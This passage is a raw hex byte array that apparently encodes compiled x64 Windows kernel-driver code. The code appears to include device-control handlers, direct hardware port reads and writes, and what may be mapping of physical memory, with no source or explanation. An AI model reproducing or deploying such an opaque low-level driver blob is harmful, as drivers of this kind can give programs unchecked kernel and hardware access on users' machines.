0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, - 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, - 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, - 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, - 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, - 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, - 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, - 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, - 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, - 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, - 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, - 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, - 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, - 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, - 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, - 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, - 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, - 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, - 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, - 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, - 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, - 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, - 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, - 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, - 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, - 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, - 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, - 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, - 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, - 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, - 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, - 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, - 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, - 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, - 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, - 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, - 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, - 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, - 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, - 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, - 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, - 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, - 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, - 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, - 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, - 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, - 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, - 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, - 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, - 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, - 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, - 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, - 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, - 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, - 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, - 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, - 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, - 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, - 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, - 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, - 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, - 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, - 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, - 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, - 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, - 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, - 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, - 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, - 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, - 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, - 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, - 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, - 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, - 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, - 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, - 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, - 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, - 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, - 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, - 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, - 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, - 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, - 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, - 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, - 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, - 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, - 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, - 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, - 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, - 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, - 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, - 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, - 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, - 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, - 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, - 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, - 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, - 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, - 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, - 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, - 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, - 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, - 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, - 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, - 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, - 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, - 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, - 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, - 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, - 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, - 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, - 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, - 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, - 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, - 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, - 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, - 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, - 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, - 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, - 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, - 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, - 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, - 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, - 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, - 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, - 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, - 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, - 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, - 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, - 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, - 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, - 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, - 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, - 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, - 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, - 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, - 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, - 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, - 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, - 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, - 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, - 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, - 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, - 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, - 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, - 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, - 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, - 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, - 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, - 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, - 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, - 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, - 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, - 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, - 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, - 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, - 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, - 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, - 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, - 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, - 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, - 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, - 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, - 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, - 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, - 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, - 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, - 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, - 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, - 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, - 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, - 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, - 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, - 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, - 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, - 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, - 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, - 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, - 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, - 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 